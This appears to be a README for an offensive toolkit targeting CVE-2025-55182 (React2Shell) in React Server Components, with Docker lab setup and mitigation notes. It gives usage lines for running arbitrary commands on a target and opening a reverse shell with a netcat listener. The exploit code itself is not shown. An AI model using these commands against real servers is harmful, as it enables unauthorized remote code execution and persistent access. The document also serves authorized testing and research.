CVE-2025-55182: React2Shell - Next.js Remote Code Execution Toolkit

[!WARNING] This tool is provided for authorized testing and educational purposes only. Unauthorized network access and data exfiltration are illegal. Users are responsible for ensuring they have proper authorization before using this tool on any network.

Overview

This repository contains a simple toolkit for validating, sploiting, and gaining an interactive shell through CVE-2025-55182, also known as React2Shell. This is a critical pre-authentication remote code execution (RCE) vulnerability in React Server Components (RSC) affecting versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0.

The vulnerability stems from unsafe deserialization in React's Flight protocol, allowing unauthenticated attackers to execute arbitrary code on vulnerable servers. It was disclosed on December 3, 2025, and has a CVSS score of 10.0 (Critical). While primarily impacting React Server Components, it has implications for frameworks like Next.js that utilize RSC.

Note: This toolkit is intended for educational and research purposes only. Unauthorized sploitation of vulnerabilities is illegal and unethical. Use responsibly and only on systems you own or have explicit permission to test.

Affected Components

• React Server Components: Versions 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Related Frameworks: Next.js (potentially via CVE-2025-66478 in some contexts)
• sploitation Vector: Insecure deserialization in RSC payloads, enabling RCE without authentication.

For more details, see the official advisories:

• NVD CVE-2025-55182
• React Security Advisory
• Wiz Blog on React2Shell

Usage

Features

• Validation: Check if a target is vulnerable to CVE-2025-55182.
• sploitation: Craft payloads to execute arbitrary commands.
• Interactive Shell: Gain a reverse shell for persistent access.
• Supports Python 3.x with minimal dependencies.

Requirements

• Python 3.8+
• Required libraries: requests, argparse (install via pip install -r requirements.txt)

Installation

Venv Install

1. Pull The Repo

git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182

2. Virtual Environment

python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt

3. Actiavte

source CVE202555182Venv/bin/activate[.fish]

Local Installation

1. Clone the repository:
   root@kitploit:~

   git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
   cd CVE-2025-55182
   

2. Install dependencies:
   root@kitploit:~

   pip install -r requirements.txt
   

Usage

The main script is sploit.py. Run it with the following options:

python sploit.py --help

Options

• --target <URL>: The target URL (e.g., http://vulnerable-site.com).
• --mode <validate|sploit|shell>: Operation mode.
  • validate: Check vulnerability without sploitation.
  • sploit: Execute a custom command.
  • shell: Establish an interactive reverse shell.
• --command <CMD>: Command to execute (required for sploit mode).
• --lhost <IP>: Local host for reverse shell (required for shell mode).
• --lport <PORT>: Local port for reverse shell (default: 4444).

Examples

1. Validate Vulnerability:

   root@kitploit:~

   python sploit.py --target http://example.com --mode validate
   

2. sploit with Command Execution:

   root@kitploit:~

   python sploit.py --target http://example.com --mode sploit --command "whoami"
   

3. Gain Interactive Shell: First, set up a listener (e.g., nc -lvnp 4444), then:

   root@kitploit:~

   python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
   

How It Works

1. Vulnerability Detection: Sends a specially crafted RSC payload to detect deserialization flaws.
2. Payload Crafting: Uses unsafe deserialization to inject code via React's Flight protocol.
3. Shell Access: Escalates to a reverse shell by executing a payload that connects back to the attacker's machine.

For technical deep dives:

• Datadog Security Labs Analysis
• Dynatrace Blog

Execution Example

Docker Installation

{
  "dependencies": {
    "next": "14.3.0-canary.77",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  },
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}

Delete tsconfig.json completely (this is the key that was killing the build)

rm tsconfig.json

Create the minimum required App Router files

mkdir -p app

# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

app/globals.css (can be basically empty)

echo "/* minimal css - required by Next.js */" > app/globals.css

app/page.tsx (your real vulnerable page goes here – example stub)

cat > app/page.tsx << 'EOF'
export default function Home() {
  return (
    <main>
      <h1>react2shell lab is running!</h1>
      <p>Start sploiting → /api/vulnerable-endpoint</p>
    </main>
  );
}

Create the final bulletproof Dockerfile (exact content)

FROM node:20-alpine

WORKDIR /app

# Copy only package files first (better caching)
COPY package*.json ./

# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps

# Copy the rest of the app
COPY . .

# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json

# Build the Next.js app
RUN npm run build

# Expose port
EXPOSE 3000

# Start the app
CMD ["npm", "start"]

Build and run (these commands now work perfectly)

docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell

Open in browser

→ http://localhost:3000You’re done. The container starts in <2 seconds and is ready for prototype pollution → RCE chains.Optional one-liner to nuke and restart anytime:bash

docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell

Mitigation

• Update React to version 19.2.1 or later.
• Disable or restrict React Server Components if not needed.
• Monitor for sploitation attempts, as state-sponsored actors (e.g., China-nexus groups) have been observed targeting this CVE rapidly.

See AWS Security Blog for threat intelligence.

Disclaimer

This tool is provided "as is" without warranty. The author is not responsible for any misuse or damage caused by this toolkit. Always obtain permission before testing vulnerabilities.

Contributing

Pull requests are welcome! For major changes, please open an issue first.

License

This project is licensed under the MIT License - see the LICENSE file for details.

References

• Cisco Advisory
• Palo Alto Unit 42 Report
• CMU ISO News
• Cloudflare Blog
• Huntress Blog
• JFrog Blog
• Elastic Security